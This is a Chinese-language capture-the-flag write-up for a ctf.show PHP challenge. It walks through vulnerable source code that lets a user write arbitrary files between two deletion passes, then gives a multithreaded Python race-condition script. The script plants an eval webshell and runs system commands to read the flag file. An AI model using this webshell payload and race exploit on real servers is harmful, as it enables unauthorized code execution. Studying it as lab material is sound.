打开容器
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 04:34:40
*/
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
} 逐行分析
error_reporting(0);//关闭错误报告highlight_file();//对文件进行语法高亮显示。
__FILE__// 取得当前文件的绝对地址
$files = scandir('./'); //将当前目录的文件和目录。以数组形式赋值给filesforeach($files as $file) {//遍历files数组,以引用赋值将files中的每个对象赋值给file
    if(is_file($file)){//如果file文件存在且为正常的文件,则返回 true。
        if ($file !== "index.php") { //如果file不是index.php的话
            unlink($file);//就会删除这个文件
        }
    }
}file_put_contents(str,file);//把一个字符串写入文件中下面的代码和上面的类似,那么代码看到这里得出一个基本的思路
删除除了index.php以外的文件--->写入webshell文件--->删除除了index.php以外的文件
那么我们可以写一个python多线程脚本去条件竞争
使得在写入webshell后,服务器还没来得及删除,我们用webshell来得到flag
那么思路有了,就是写脚本了
import threading
import requests
import time
flag = 1
def write():
    while 1:
        url = "http://5b684686-4c1c-4d84-8426-b24cff7e49c3.challenge.ctf.show:8080/"+"?ctf=4.php"
        fromdata={"show":"<?php eval($_GET['S']);?>"}
        response = requests.post(url=url,data=fromdata)
        print(response.status_code)
def read():
    global flag
    while 1:
        #cmd = "system('ls /')"
        url = "http://5b684686-4c1c-4d84-8426-b24cff7e49c3.challenge.ctf.show:8080/4.php?S=system('tac /ctfshow_fl0g_here.txt');"
        response = requests.get(url=url)
        if response.status_code == 200:
            print(response.text)
            flag = 0;
            break;
# threads = []
# t1 = threading.Thread(target=write)
# t2 = threading.Thread(target=read)
# threads.append(t1)
# threads.append(t2)
if __name__ == '__main__':
    for i in range(10):
        t1 = threading.Thread(target=write)
        t1.setDaemon(True)
        t1.start()
    for i in range(10):
        t2 = threading.Thread(target=read)
        t2.setDaemon(True)
        t2.start()
    # for t in threads:
    #     t.join()
while flag:
    time.sleep(0.01)菜鸡脚本,不要介意